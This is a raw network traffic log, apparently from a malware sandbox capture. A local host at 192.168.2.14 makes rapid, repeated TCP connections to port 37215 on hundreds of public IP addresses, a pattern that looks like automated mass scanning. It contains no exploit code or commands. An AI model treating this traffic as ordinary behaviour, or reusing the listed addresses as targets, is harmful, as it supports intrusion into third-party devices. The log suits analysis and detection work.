Aug 6, 2024 08:32:57.836672068 CEST	37215	44432	197.94.98.140	192.168.2.14
Aug 6, 2024 08:32:57.836679935 CEST	37215	57474	41.116.61.218	192.168.2.14
Aug 6, 2024 08:32:57.836684942 CEST	54036	37215	192.168.2.14	41.34.50.198
Aug 6, 2024 08:32:57.836685896 CEST	57002	37215	192.168.2.14	156.0.126.61
Aug 6, 2024 08:32:57.836687088 CEST	54548	37215	192.168.2.14	41.34.50.198
Aug 6, 2024 08:32:57.836684942 CEST	54036	37215	192.168.2.14	41.34.50.198
Aug 6, 2024 08:32:57.836684942 CEST	43354	37215	192.168.2.14	156.201.149.51
Aug 6, 2024 08:32:57.836689949 CEST	37215	58436	197.197.24.70	192.168.2.14
Aug 6, 2024 08:32:57.836694956 CEST	38224	37215	192.168.2.14	156.252.2.121
Aug 6, 2024 08:32:57.836699009 CEST	42842	37215	192.168.2.14	156.201.149.51
Aug 6, 2024 08:32:57.836699009 CEST	42842	37215	192.168.2.14	156.201.149.51
Aug 6, 2024 08:32:57.836699009 CEST	44520	37215	192.168.2.14	41.60.167.28
Aug 6, 2024 08:32:57.836700916 CEST	37215	36104	156.181.110.86	192.168.2.14
Aug 6, 2024 08:32:57.836703062 CEST	41022	37215	192.168.2.14	41.242.100.27
Aug 6, 2024 08:32:57.836703062 CEST	39700	37215	192.168.2.14	156.107.107.14
Aug 6, 2024 08:32:57.836703062 CEST	47502	37215	192.168.2.14	41.45.249.113
Aug 6, 2024 08:32:57.836704969 CEST	48876	37215	192.168.2.14	41.69.62.137
Aug 6, 2024 08:32:57.836703062 CEST	47502	37215	192.168.2.14	41.45.249.113
Aug 6, 2024 08:32:57.836705923 CEST	34222	37215	192.168.2.14	197.147.67.118
Aug 6, 2024 08:32:57.836703062 CEST	58586	37215	192.168.2.14	156.132.197.53
Aug 6, 2024 08:32:57.836703062 CEST	33710	37215	192.168.2.14	197.147.67.118
Aug 6, 2024 08:32:57.836703062 CEST	33710	37215	192.168.2.14	197.147.67.118
Aug 6, 2024 08:32:57.836710930 CEST	37215	54844	41.42.85.198	192.168.2.14
Aug 6, 2024 08:32:57.836714029 CEST	45600	37215	192.168.2.14	197.204.204.27
Aug 6, 2024 08:32:57.836714029 CEST	46990	37215	192.168.2.14	41.195.75.21
Aug 6, 2024 08:32:57.836714029 CEST	37148	37215	192.168.2.14	41.51.78.43
Aug 6, 2024 08:32:57.836714029 CEST	44332	37215	192.168.2.14	156.32.123.200
Aug 6, 2024 08:32:57.836714029 CEST	44332	37215	192.168.2.14	156.32.123.200
Aug 6, 2024 08:32:57.836716890 CEST	48014	37215	192.168.2.14	41.45.249.113
Aug 6, 2024 08:32:57.836716890 CEST	35976	37215	192.168.2.14	156.232.20.55
Aug 6, 2024 08:32:57.836716890 CEST	60216	37215	192.168.2.14	197.28.182.242
Aug 6, 2024 08:32:57.836724043 CEST	45626	37215	192.168.2.14	156.90.27.13
Aug 6, 2024 08:32:57.836724043 CEST	44844	37215	192.168.2.14	156.32.123.200
Aug 6, 2024 08:32:57.836730003 CEST	37215	47950	197.229.89.107	192.168.2.14
Aug 6, 2024 08:32:57.836730003 CEST	58436	37215	192.168.2.14	197.197.24.70
Aug 6, 2024 08:32:57.836743116 CEST	37215	39070	156.5.53.84	192.168.2.14
Aug 6, 2024 08:32:57.836745977 CEST	54844	37215	192.168.2.14	41.42.85.198
Aug 6, 2024 08:32:57.836752892 CEST	37215	36100	156.178.121.45	192.168.2.14
Aug 6, 2024 08:32:57.836751938 CEST	57474	37215	192.168.2.14	41.116.61.218
Aug 6, 2024 08:32:57.836751938 CEST	44432	37215	192.168.2.14	197.94.98.140
Aug 6, 2024 08:32:57.836751938 CEST	36104	37215	192.168.2.14	156.181.110.86
Aug 6, 2024 08:32:57.836761951 CEST	37215	49832	156.83.69.150	192.168.2.14
Aug 6, 2024 08:32:57.836765051 CEST	47950	37215	192.168.2.14	197.229.89.107
Aug 6, 2024 08:32:57.836771011 CEST	39070	37215	192.168.2.14	156.5.53.84
Aug 6, 2024 08:32:57.836842060 CEST	60052	37215	192.168.2.14	156.183.46.173
Aug 6, 2024 08:32:57.836879015 CEST	33946	37215	192.168.2.14	41.199.180.220
Aug 6, 2024 08:32:57.836879015 CEST	33946	37215	192.168.2.14	41.199.180.220
Aug 6, 2024 08:32:57.836888075 CEST	36100	37215	192.168.2.14	156.178.121.45
Aug 6, 2024 08:32:57.836888075 CEST	47384	37215	192.168.2.14	156.159.84.59
Aug 6, 2024 08:32:57.836889982 CEST	60564	37215	192.168.2.14	156.183.46.173
Aug 6, 2024 08:32:57.836895943 CEST	34456	37215	192.168.2.14	41.199.180.220
Aug 6, 2024 08:32:57.836901903 CEST	60052	37215	192.168.2.14	156.183.46.173
Aug 6, 2024 08:32:57.836903095 CEST	46870	37215	192.168.2.14	156.159.84.59
Aug 6, 2024 08:32:57.836903095 CEST	46870	37215	192.168.2.14	156.159.84.59
Aug 6, 2024 08:32:57.836903095 CEST	46216	37215	192.168.2.14	156.203.201.64
Aug 6, 2024 08:32:57.836903095 CEST	46216	37215	192.168.2.14	156.203.201.64
Aug 6, 2024 08:32:57.836940050 CEST	49832	37215	192.168.2.14	156.83.69.150
Aug 6, 2024 08:32:57.836956024 CEST	38670	37215	192.168.2.14	156.220.29.16
Aug 6, 2024 08:32:57.836956024 CEST	38670	37215	192.168.2.14	156.220.29.16
Aug 6, 2024 08:32:57.836965084 CEST	46728	37215	192.168.2.14	156.203.201.64
Aug 6, 2024 08:32:57.837024927 CEST	33700	37215	192.168.2.14	156.129.31.110
Aug 6, 2024 08:32:57.837025881 CEST	39182	37215	192.168.2.14	156.220.29.16
Aug 6, 2024 08:32:57.837028980 CEST	37215	40264	156.198.249.101	192.168.2.14
Aug 6, 2024 08:32:57.837032080 CEST	39274	37215	192.168.2.14	41.64.229.92
Aug 6, 2024 08:32:57.837032080 CEST	39274	37215	192.168.2.14	41.64.229.92
Aug 6, 2024 08:32:57.837033033 CEST	39786	37215	192.168.2.14	41.64.229.92
Aug 6, 2024 08:32:57.837038994 CEST	37215	41660	156.213.90.130	192.168.2.14
Aug 6, 2024 08:32:57.837042093 CEST	33700	37215	192.168.2.14	156.129.31.110
Aug 6, 2024 08:32:57.837047100 CEST	34212	37215	192.168.2.14	156.129.31.110
Aug 6, 2024 08:32:57.837047100 CEST	44858	37215	192.168.2.14	156.61.31.26
Aug 6, 2024 08:32:57.837048054 CEST	37215	53836	41.99.158.148	192.168.2.14
Aug 6, 2024 08:32:57.837059021 CEST	37215	39440	197.116.99.16	192.168.2.14
Aug 6, 2024 08:32:57.837071896 CEST	37215	53790	156.246.176.160	192.168.2.14
Aug 6, 2024 08:32:57.837081909 CEST	37215	57086	41.3.58.68	192.168.2.14
Aug 6, 2024 08:32:57.837091923 CEST	37215	40592	197.205.58.249	192.168.2.14
Aug 6, 2024 08:32:57.837095976 CEST	53836	37215	192.168.2.14	41.99.158.148
Aug 6, 2024 08:32:57.837095976 CEST	37215	55158	156.209.183.183	192.168.2.14
Aug 6, 2024 08:32:57.837096930 CEST	44858	37215	192.168.2.14	156.61.31.26
Aug 6, 2024 08:32:57.837096930 CEST	40264	37215	192.168.2.14	156.198.249.101
Aug 6, 2024 08:32:57.837106943 CEST	58262	37215	192.168.2.14	197.39.222.191
Aug 6, 2024 08:32:57.837114096 CEST	53790	37215	192.168.2.14	156.246.176.160
Aug 6, 2024 08:32:57.837117910 CEST	57750	37215	192.168.2.14	197.39.222.191
Aug 6, 2024 08:32:57.837117910 CEST	41660	37215	192.168.2.14	156.213.90.130
Aug 6, 2024 08:32:57.837117910 CEST	57750	37215	192.168.2.14	197.39.222.191
Aug 6, 2024 08:32:57.837117910 CEST	39440	37215	192.168.2.14	197.116.99.16
Aug 6, 2024 08:32:57.837126017 CEST	46118	37215	192.168.2.14	41.179.116.217
Aug 6, 2024 08:32:57.837126017 CEST	46118	37215	192.168.2.14	41.179.116.217
Aug 6, 2024 08:32:57.837126017 CEST	45370	37215	192.168.2.14	156.61.31.26
Aug 6, 2024 08:32:57.837126017 CEST	57086	37215	192.168.2.14	41.3.58.68
Aug 6, 2024 08:32:57.837141037 CEST	37215	57336	197.141.165.224	192.168.2.14
Aug 6, 2024 08:32:57.837151051 CEST	37215	37152	41.235.232.193	192.168.2.14
Aug 6, 2024 08:32:57.837161064 CEST	37215	39430	41.47.235.221	192.168.2.14
Aug 6, 2024 08:32:57.837169886 CEST	37215	57354	41.34.23.164	192.168.2.14
Aug 6, 2024 08:32:57.837177038 CEST	59874	37215	192.168.2.14	156.167.74.1
Aug 6, 2024 08:32:57.837177992 CEST	46630	37215	192.168.2.14	41.179.116.217
Aug 6, 2024 08:32:57.837177992 CEST	36268	37215	192.168.2.14	41.234.139.223
Aug 6, 2024 08:32:57.837177992 CEST	36268	37215	192.168.2.14	41.234.139.223
Aug 6, 2024 08:32:57.837178946 CEST	55158	37215	192.168.2.14	156.209.183.183
Aug 6, 2024 08:32:57.837177038 CEST	59874	37215	192.168.2.14	156.167.74.1
Aug 6, 2024 08:32:57.837181091 CEST	60386	37215	192.168.2.14	156.167.74.1
Aug 6, 2024 08:32:57.837182045 CEST	37215	35618	197.203.208.42	192.168.2.14
Aug 6, 2024 08:32:57.837187052 CEST	36780	37215	192.168.2.14	41.234.139.223
Aug 6, 2024 08:32:57.837188959 CEST	57336	37215	192.168.2.14	197.141.165.224
Aug 6, 2024 08:32:57.837192059 CEST	37215	48180	156.28.212.86	192.168.2.14
Aug 6, 2024 08:32:57.837194920 CEST	40592	37215	192.168.2.14	197.205.58.249
Aug 6, 2024 08:32:57.837198973 CEST	37152	37215	192.168.2.14	41.235.232.193
Aug 6, 2024 08:32:57.837203026 CEST	37215	49550	156.146.138.56	192.168.2.14
Aug 6, 2024 08:32:57.837207079 CEST	37215	59090	41.244.209.174	192.168.2.14
Aug 6, 2024 08:32:57.837212086 CEST	39430	37215	192.168.2.14	41.47.235.221
Aug 6, 2024 08:32:57.837212086 CEST	42704	37215	192.168.2.14	41.142.161.8
Aug 6, 2024 08:32:57.837217093 CEST	37215	59768	156.135.80.58	192.168.2.14
Aug 6, 2024 08:32:57.837219000 CEST	57354	37215	192.168.2.14	41.34.23.164
Aug 6, 2024 08:32:57.837223053 CEST	42704	37215	192.168.2.14	41.142.161.8
Aug 6, 2024 08:32:57.837228060 CEST	37215	48874	197.183.103.104	192.168.2.14
Aug 6, 2024 08:32:57.837229967 CEST	48180	37215	192.168.2.14	156.28.212.86
Aug 6, 2024 08:32:57.837229967 CEST	43216	37215	192.168.2.14	41.142.161.8
Aug 6, 2024 08:32:57.837234020 CEST	49550	37215	192.168.2.14	156.146.138.56
Aug 6, 2024 08:32:57.837238073 CEST	37215	49624	197.150.29.200	192.168.2.14
Aug 6, 2024 08:32:57.837239981 CEST	35618	37215	192.168.2.14	197.203.208.42
Aug 6, 2024 08:32:57.837239981 CEST	59090	37215	192.168.2.14	41.244.209.174
Aug 6, 2024 08:32:57.837246895 CEST	37215	48180	156.94.250.60	192.168.2.14
Aug 6, 2024 08:32:57.837248087 CEST	40490	37215	192.168.2.14	156.227.117.100
Aug 6, 2024 08:32:57.837255955 CEST	59768	37215	192.168.2.14	156.135.80.58
Aug 6, 2024 08:32:57.837255955 CEST	37215	44956	156.95.131.110	192.168.2.14
Aug 6, 2024 08:32:57.837260008 CEST	40490	37215	192.168.2.14	156.227.117.100
Aug 6, 2024 08:32:57.837265968 CEST	48874	37215	192.168.2.14	197.183.103.104
Aug 6, 2024 08:32:57.837265968 CEST	37215	53066	41.164.18.227	192.168.2.14
Aug 6, 2024 08:32:57.837275028 CEST	49624	37215	192.168.2.14	197.150.29.200
Aug 6, 2024 08:32:57.837277889 CEST	48180	37215	192.168.2.14	156.94.250.60
Aug 6, 2024 08:32:57.837277889 CEST	41002	37215	192.168.2.14	156.227.117.100
Aug 6, 2024 08:32:57.837277889 CEST	44956	37215	192.168.2.14	156.95.131.110
Aug 6, 2024 08:32:57.837289095 CEST	32772	37215	192.168.2.14	197.129.180.128
Aug 6, 2024 08:32:57.837289095 CEST	32772	37215	192.168.2.14	197.129.180.128
Aug 6, 2024 08:32:57.837306976 CEST	53066	37215	192.168.2.14	41.164.18.227
Aug 6, 2024 08:32:57.837306976 CEST	33284	37215	192.168.2.14	197.129.180.128
Aug 6, 2024 08:32:57.837327957 CEST	38774	37215	192.168.2.14	41.205.118.26
Aug 6, 2024 08:32:57.837327957 CEST	38774	37215	192.168.2.14	41.205.118.26
Aug 6, 2024 08:32:57.837354898 CEST	37215	43764	197.31.205.62	192.168.2.14
Aug 6, 2024 08:32:57.837416887 CEST	37215	37024	41.241.47.76	192.168.2.14
Aug 6, 2024 08:32:57.837421894 CEST	55516	37215	192.168.2.14	156.224.207.229
Aug 6, 2024 08:32:57.837421894 CEST	55516	37215	192.168.2.14	156.224.207.229
Aug 6, 2024 08:32:57.837423086 CEST	56028	37215	192.168.2.14	156.224.207.229
Aug 6, 2024 08:32:57.837423086 CEST	39286	37215	192.168.2.14	41.205.118.26
Aug 6, 2024 08:32:57.837426901 CEST	37215	42906	156.45.179.57	192.168.2.14
Aug 6, 2024 08:32:57.837435007 CEST	40102	37215	192.168.2.14	156.55.85.117
Aug 6, 2024 08:32:57.837436914 CEST	37215	46870	197.21.237.243	192.168.2.14
Aug 6, 2024 08:32:57.837435961 CEST	40102	37215	192.168.2.14	156.55.85.117
Aug 6, 2024 08:32:57.837435961 CEST	38072	37215	192.168.2.14	156.222.74.186
Aug 6, 2024 08:32:57.837435961 CEST	38072	37215	192.168.2.14	156.222.74.186
Aug 6, 2024 08:32:57.837446928 CEST	37215	48930	197.210.183.23	192.168.2.14
Aug 6, 2024 08:32:57.837464094 CEST	37215	47526	41.210.226.180	192.168.2.14
Aug 6, 2024 08:32:57.837470055 CEST	47262	37215	192.168.2.14	41.88.164.69
Aug 6, 2024 08:32:57.837472916 CEST	37215	60754	41.162.103.68	192.168.2.14
Aug 6, 2024 08:32:57.837481976 CEST	46870	37215	192.168.2.14	197.21.237.243
Aug 6, 2024 08:32:57.837482929 CEST	37215	50906	197.144.79.247	192.168.2.14
Aug 6, 2024 08:32:57.837486029 CEST	48876	37215	192.168.2.14	41.69.62.137
Aug 6, 2024 08:32:57.837486029 CEST	48930	37215	192.168.2.14	197.210.183.23
Aug 6, 2024 08:32:57.837486029 CEST	48876	37215	192.168.2.14	41.69.62.137
Aug 6, 2024 08:32:57.837491989 CEST	43764	37215	192.168.2.14	197.31.205.62
Aug 6, 2024 08:32:57.837491989 CEST	42906	37215	192.168.2.14	156.45.179.57
Aug 6, 2024 08:32:57.837491989 CEST	37024	37215	192.168.2.14	41.241.47.76
Aug 6, 2024 08:32:57.837500095 CEST	47526	37215	192.168.2.14	41.210.226.180
Aug 6, 2024 08:32:57.837501049 CEST	49388	37215	192.168.2.14	41.69.62.137
Aug 6, 2024 08:32:57.837501049 CEST	60754	37215	192.168.2.14	41.162.103.68
Aug 6, 2024 08:32:57.837506056 CEST	37215	56378	41.242.140.238	192.168.2.14
Aug 6, 2024 08:32:57.837511063 CEST	57002	37215	192.168.2.14	156.0.126.61
Aug 6, 2024 08:32:57.837511063 CEST	57002	37215	192.168.2.14	156.0.126.61
Aug 6, 2024 08:32:57.837512970 CEST	50906	37215	192.168.2.14	197.144.79.247
Aug 6, 2024 08:32:57.837516069 CEST	37215	44050	41.96.167.241	192.168.2.14
Aug 6, 2024 08:32:57.837527037 CEST	37215	53476	156.99.80.91	192.168.2.14
Aug 6, 2024 08:32:57.837536097 CEST	57514	37215	192.168.2.14	156.0.126.61
Aug 6, 2024 08:32:57.837536097 CEST	37215	42878	41.217.111.255	192.168.2.14
Aug 6, 2024 08:32:57.837546110 CEST	37215	47480	41.113.66.102	192.168.2.14
Aug 6, 2024 08:32:57.837548018 CEST	37148	37215	192.168.2.14	41.51.78.43
Aug 6, 2024 08:32:57.837554932 CEST	40614	37215	192.168.2.14	156.55.85.117
Aug 6, 2024 08:32:57.837554932 CEST	38584	37215	192.168.2.14	156.222.74.186
Aug 6, 2024 08:32:57.837555885 CEST	44050	37215	192.168.2.14	41.96.167.241
Aug 6, 2024 08:32:57.837554932 CEST	46750	37215	192.168.2.14	41.88.164.69
Aug 6, 2024 08:32:57.837554932 CEST	46750	37215	192.168.2.14	41.88.164.69
Aug 6, 2024 08:32:57.837558985 CEST	56378	37215	192.168.2.14	41.242.140.238
Aug 6, 2024 08:32:57.837558985 CEST	53476	37215	192.168.2.14	156.99.80.91
Aug 6, 2024 08:32:57.837563038 CEST	37148	37215	192.168.2.14	41.51.78.43
Aug 6, 2024 08:32:57.837564945 CEST	42878	37215	192.168.2.14	41.217.111.255
Aug 6, 2024 08:32:57.837567091 CEST	37215	58022	197.203.159.212	192.168.2.14
Aug 6, 2024 08:32:57.837574959 CEST	37660	37215	192.168.2.14	41.51.78.43
Aug 6, 2024 08:32:57.837577105 CEST	37215	48730	41.48.241.76	192.168.2.14
Aug 6, 2024 08:32:57.837580919 CEST	47480	37215	192.168.2.14	41.113.66.102
Aug 6, 2024 08:32:57.837587118 CEST	37215	40758	197.211.102.57	192.168.2.14
Aug 6, 2024 08:32:57.837596893 CEST	37215	51574	41.187.38.232	192.168.2.14
Aug 6, 2024 08:32:57.837599993 CEST	44520	37215	192.168.2.14	41.60.167.28
Aug 6, 2024 08:32:57.837599993 CEST	44520	37215	192.168.2.14	41.60.167.28
Aug 6, 2024 08:32:57.837606907 CEST	37215	36966	41.168.55.54	192.168.2.14
Aug 6, 2024 08:32:57.837619066 CEST	58586	37215	192.168.2.14	156.132.197.53
Aug 6, 2024 08:32:57.837619066 CEST	58586	37215	192.168.2.14	156.132.197.53
Aug 6, 2024 08:32:57.837620974 CEST	45032	37215	192.168.2.14	41.60.167.28
Aug 6, 2024 08:32:57.837620974 CEST	40758	37215	192.168.2.14	197.211.102.57
Aug 6, 2024 08:32:57.837626934 CEST	37215	55082	197.129.188.53	192.168.2.14
Aug 6, 2024 08:32:57.837630033 CEST	51574	37215	192.168.2.14	41.187.38.232
Aug 6, 2024 08:32:57.837630033 CEST	58022	37215	192.168.2.14	197.203.159.212
Aug 6, 2024 08:32:57.837630033 CEST	48730	37215	192.168.2.14	41.48.241.76
Aug 6, 2024 08:32:57.837636948 CEST	36966	37215	192.168.2.14	41.168.55.54
Aug 6, 2024 08:32:57.837639093 CEST	59098	37215	192.168.2.14	156.132.197.53
Aug 6, 2024 08:32:57.837639093 CEST	37215	54184	197.80.100.123	192.168.2.14
Aug 6, 2024 08:32:57.837646961 CEST	37215	34594	156.44.129.184	192.168.2.14
Aug 6, 2024 08:32:57.837655067 CEST	38224	37215	192.168.2.14	156.252.2.121
Aug 6, 2024 08:32:57.837656021 CEST	37215	41964	41.225.39.66	192.168.2.14
Aug 6, 2024 08:32:57.837655067 CEST	38224	37215	192.168.2.14	156.252.2.121
Aug 6, 2024 08:32:57.837676048 CEST	38736	37215	192.168.2.14	156.252.2.121
Aug 6, 2024 08:32:57.837682009 CEST	45626	37215	192.168.2.14	156.90.27.13
Aug 6, 2024 08:32:57.837682009 CEST	45626	37215	192.168.2.14	156.90.27.13
Aug 6, 2024 08:32:57.837687016 CEST	54184	37215	192.168.2.14	197.80.100.123
Aug 6, 2024 08:32:57.837687016 CEST	55082	37215	192.168.2.14	197.129.188.53
Aug 6, 2024 08:32:57.837687016 CEST	34594	37215	192.168.2.14	156.44.129.184
Aug 6, 2024 08:32:57.837698936 CEST	46138	37215	192.168.2.14	156.90.27.13
Aug 6, 2024 08:32:57.837701082 CEST	41964	37215	192.168.2.14	41.225.39.66
Aug 6, 2024 08:32:57.837716103 CEST	35976	37215	192.168.2.14	156.232.20.55
Aug 6, 2024 08:32:57.837716103 CEST	35976	37215	192.168.2.14	156.232.20.55
Aug 6, 2024 08:32:57.837794065 CEST	41534	37215	192.168.2.14	41.242.100.27
Aug 6, 2024 08:32:57.837800980 CEST	45600	37215	192.168.2.14	197.204.204.27
Aug 6, 2024 08:32:57.837800980 CEST	45600	37215	192.168.2.14	197.204.204.27
Aug 6, 2024 08:32:57.837820053 CEST	46112	37215	192.168.2.14	197.204.204.27
Aug 6, 2024 08:32:57.837835073 CEST	46990	37215	192.168.2.14	41.195.75.21
Aug 6, 2024 08:32:57.837835073 CEST	46990	37215	192.168.2.14	41.195.75.21
Aug 6, 2024 08:32:57.837841034 CEST	40212	37215	192.168.2.14	156.107.107.14
Aug 6, 2024 08:32:57.837857008 CEST	47502	37215	192.168.2.14	41.195.75.21
Aug 6, 2024 08:32:57.837868929 CEST	60216	37215	192.168.2.14	197.28.182.242
Aug 6, 2024 08:32:57.837868929 CEST	60216	37215	192.168.2.14	197.28.182.242
Aug 6, 2024 08:32:57.837898016 CEST	60728	37215	192.168.2.14	197.28.182.242
Aug 6, 2024 08:32:57.837912083 CEST	36488	37215	192.168.2.14	156.232.20.55
Aug 6, 2024 08:32:57.837913036 CEST	41022	37215	192.168.2.14	41.242.100.27
Aug 6, 2024 08:32:57.837913036 CEST	41022	37215	192.168.2.14	41.242.100.27
Aug 6, 2024 08:32:57.837913036 CEST	39700	37215	192.168.2.14	156.107.107.14
Aug 6, 2024 08:32:57.837913036 CEST	39700	37215	192.168.2.14	156.107.107.14
Aug 6, 2024 08:32:57.837913036 CEST	44432	37215	192.168.2.14	197.94.98.140
Aug 6, 2024 08:32:57.837913036 CEST	44432	37215	192.168.2.14	197.94.98.140
Aug 6, 2024 08:32:57.837954998 CEST	37215	39570	197.127.41.121	192.168.2.14
Aug 6, 2024 08:32:57.837964058 CEST	37215	58000	197.126.10.193	192.168.2.14
Aug 6, 2024 08:32:57.837968111 CEST	44944	37215	192.168.2.14	197.94.98.140
Aug 6, 2024 08:32:57.837969065 CEST	37215	49078	41.81.246.30	192.168.2.14
Aug 6, 2024 08:32:57.837973118 CEST	37215	34070	41.38.241.60	192.168.2.14
Aug 6, 2024 08:32:57.837977886 CEST	37215	35148	197.193.18.117	192.168.2.14
Aug 6, 2024 08:32:57.837990999 CEST	57474	37215	192.168.2.14	41.116.61.218
Aug 6, 2024 08:32:57.837990999 CEST	57474	37215	192.168.2.14	41.116.61.218
Aug 6, 2024 08:32:57.838005066 CEST	37215	43274	41.31.137.85	192.168.2.14
Aug 6, 2024 08:32:57.838009119 CEST	37215	34584	197.241.182.112	192.168.2.14
Aug 6, 2024 08:32:57.838012934 CEST	37215	39588	197.154.7.11	192.168.2.14
Aug 6, 2024 08:32:57.838015079 CEST	57986	37215	192.168.2.14	41.116.61.218
Aug 6, 2024 08:32:57.838015079 CEST	36616	37215	192.168.2.14	156.181.110.86
Aug 6, 2024 08:32:57.838027954 CEST	58436	37215	192.168.2.14	197.197.24.70
Aug 6, 2024 08:32:57.838027954 CEST	58436	37215	192.168.2.14	197.197.24.70
Aug 6, 2024 08:32:57.838049889 CEST	43274	37215	192.168.2.14	41.31.137.85
Aug 6, 2024 08:32:57.838049889 CEST	39570	37215	192.168.2.14	197.127.41.121
Aug 6, 2024 08:32:57.838049889 CEST	58948	37215	192.168.2.14	197.197.24.70
Aug 6, 2024 08:32:57.838053942 CEST	36104	37215	192.168.2.14	156.181.110.86
Aug 6, 2024 08:32:57.838053942 CEST	36104	37215	192.168.2.14	156.181.110.86
Aug 6, 2024 08:32:57.838058949 CEST	54844	37215	192.168.2.14	41.42.85.198
Aug 6, 2024 08:32:57.838058949 CEST	54844	37215	192.168.2.14	41.42.85.198
Aug 6, 2024 08:32:57.838067055 CEST	34584	37215	192.168.2.14	197.241.182.112
Aug 6, 2024 08:32:57.838068962 CEST	55356	37215	192.168.2.14	41.42.85.198
Aug 6, 2024 08:32:57.838080883 CEST	49078	37215	192.168.2.14	41.81.246.30
Aug 6, 2024 08:32:57.838085890 CEST	37215	59800	41.164.8.110	192.168.2.14
Aug 6, 2024 08:32:57.838088989 CEST	34070	37215	192.168.2.14	41.38.241.60
Aug 6, 2024 08:32:57.838088989 CEST	35148	37215	192.168.2.14	197.193.18.117
Aug 6, 2024 08:32:57.838092089 CEST	39588	37215	192.168.2.14	197.154.7.11
Aug 6, 2024 08:32:57.838092089 CEST	58000	37215	192.168.2.14	197.126.10.193
Aug 6, 2024 08:32:57.838098049 CEST	37215	41462	41.106.36.243	192.168.2.14
Aug 6, 2024 08:32:57.838108063 CEST	37215	43292	41.33.222.0	192.168.2.14
Aug 6, 2024 08:32:57.838118076 CEST	37215	44628	41.15.163.226	192.168.2.14
Aug 6, 2024 08:32:57.838128090 CEST	37215	56460	41.81.241.106	192.168.2.14
Aug 6, 2024 08:32:57.838136911 CEST	37215	56346	197.182.131.25	192.168.2.14
Aug 6, 2024 08:32:57.838145971 CEST	37215	54038	197.56.49.46	192.168.2.14
Aug 6, 2024 08:32:57.838166952 CEST	37215	55556	197.125.42.65	192.168.2.14
Aug 6, 2024 08:32:57.838170052 CEST	43292	37215	192.168.2.14	41.33.222.0
Aug 6, 2024 08:32:57.838171005 CEST	59800	37215	192.168.2.14	41.164.8.110
Aug 6, 2024 08:32:57.838171005 CEST	41462	37215	192.168.2.14	41.106.36.243
Aug 6, 2024 08:32:57.838176012 CEST	37215	59714	197.184.42.189	192.168.2.14
Aug 6, 2024 08:32:57.838181973 CEST	37215	33736	156.85.171.206	192.168.2.14
Aug 6, 2024 08:32:57.838185072 CEST	37215	37162	41.102.17.195	192.168.2.14
Aug 6, 2024 08:32:57.838188887 CEST	37215	40264	41.67.26.104	192.168.2.14
Aug 6, 2024 08:32:57.838191986 CEST	37215	45460	197.199.54.86	192.168.2.14
Aug 6, 2024 08:32:57.838196039 CEST	37215	36302	156.243.95.77	192.168.2.14
Aug 6, 2024 08:32:57.838227987 CEST	44628	37215	192.168.2.14	41.15.163.226
Aug 6, 2024 08:32:57.838241100 CEST	56346	37215	192.168.2.14	197.182.131.25
Aug 6, 2024 08:32:57.838243961 CEST	54038	37215	192.168.2.14	197.56.49.46
Aug 6, 2024 08:32:57.838249922 CEST	47950	37215	192.168.2.14	197.229.89.107
Aug 6, 2024 08:32:57.838249922 CEST	56460	37215	192.168.2.14	41.81.241.106
Aug 6, 2024 08:32:57.838249922 CEST	47950	37215	192.168.2.14	197.229.89.107
Aug 6, 2024 08:32:57.838249922 CEST	39582	37215	192.168.2.14	156.5.53.84
Aug 6, 2024 08:32:57.838253975 CEST	48462	37215	192.168.2.14	197.229.89.107
Aug 6, 2024 08:32:57.838253975 CEST	39070	37215	192.168.2.14	156.5.53.84
Aug 6, 2024 08:32:57.838253975 CEST	39070	37215	192.168.2.14	156.5.53.84
Aug 6, 2024 08:32:57.838257074 CEST	36100	37215	192.168.2.14	156.178.121.45
Aug 6, 2024 08:32:57.838257074 CEST	36100	37215	192.168.2.14	156.178.121.45
Aug 6, 2024 08:32:57.838269949 CEST	36612	37215	192.168.2.14	156.178.121.45
Aug 6, 2024 08:32:57.838282108 CEST	55556	37215	192.168.2.14	197.125.42.65
Aug 6, 2024 08:32:57.838283062 CEST	37162	37215	192.168.2.14	41.102.17.195
Aug 6, 2024 08:32:57.838282108 CEST	33736	37215	192.168.2.14	156.85.171.206
Aug 6, 2024 08:32:57.838282108 CEST	49832	37215	192.168.2.14	156.83.69.150
Aug 6, 2024 08:32:57.838282108 CEST	49832	37215	192.168.2.14	156.83.69.150
Aug 6, 2024 08:32:57.838289022 CEST	40264	37215	192.168.2.14	41.67.26.104
Aug 6, 2024 08:32:57.838289022 CEST	50344	37215	192.168.2.14	156.83.69.150
Aug 6, 2024 08:32:57.838308096 CEST	59714	37215	192.168.2.14	197.184.42.189
Aug 6, 2024 08:32:57.838310957 CEST	45460	37215	192.168.2.14	197.199.54.86
Aug 6, 2024 08:32:57.838310957 CEST	36302	37215	192.168.2.14	156.243.95.77
Aug 6, 2024 08:32:57.838395119 CEST	40264	37215	192.168.2.14	156.198.249.101
Aug 6, 2024 08:32:57.838493109 CEST	40264	37215	192.168.2.14	156.198.249.101
Aug 6, 2024 08:32:57.838504076 CEST	54348	37215	192.168.2.14	41.99.158.148
Aug 6, 2024 08:32:57.838512897 CEST	42172	37215	192.168.2.14	156.213.90.130
Aug 6, 2024 08:32:57.838512897 CEST	39952	37215	192.168.2.14	197.116.99.16
Aug 6, 2024 08:32:57.838512897 CEST	53790	37215	192.168.2.14	156.246.176.160
Aug 6, 2024 08:32:57.838512897 CEST	53790	37215	192.168.2.14	156.246.176.160
Aug 6, 2024 08:32:57.838516951 CEST	37215	37426	41.138.94.83	192.168.2.14
Aug 6, 2024 08:32:57.838522911 CEST	40776	37215	192.168.2.14	156.198.249.101
Aug 6, 2024 08:32:57.838529110 CEST	53836	37215	192.168.2.14	41.99.158.148
Aug 6, 2024 08:32:57.838529110 CEST	37215	35260	156.83.38.198	192.168.2.14
Aug 6, 2024 08:32:57.838529110 CEST	53836	37215	192.168.2.14	41.99.158.148
Aug 6, 2024 08:32:57.838531971 CEST	57086	37215	192.168.2.14	41.3.58.68
Aug 6, 2024 08:32:57.838531971 CEST	57086	37215	192.168.2.14	41.3.58.68
Aug 6, 2024 08:32:57.838531971 CEST	57598	37215	192.168.2.14	41.3.58.68
Aug 6, 2024 08:32:57.838548899 CEST	37215	52938	197.91.152.70	192.168.2.14
Aug 6, 2024 08:32:57.838550091 CEST	37426	37215	192.168.2.14	41.138.94.83
Aug 6, 2024 08:32:57.838560104 CEST	37215	60052	156.35.207.34	192.168.2.14
Aug 6, 2024 08:32:57.838568926 CEST	37215	33008	156.91.153.27	192.168.2.14
Aug 6, 2024 08:32:57.838579893 CEST	57336	37215	192.168.2.14	197.141.165.224
Aug 6, 2024 08:32:57.838586092 CEST	41660	37215	192.168.2.14	156.213.90.130
Aug 6, 2024 08:32:57.838586092 CEST	41660	37215	192.168.2.14	156.213.90.130
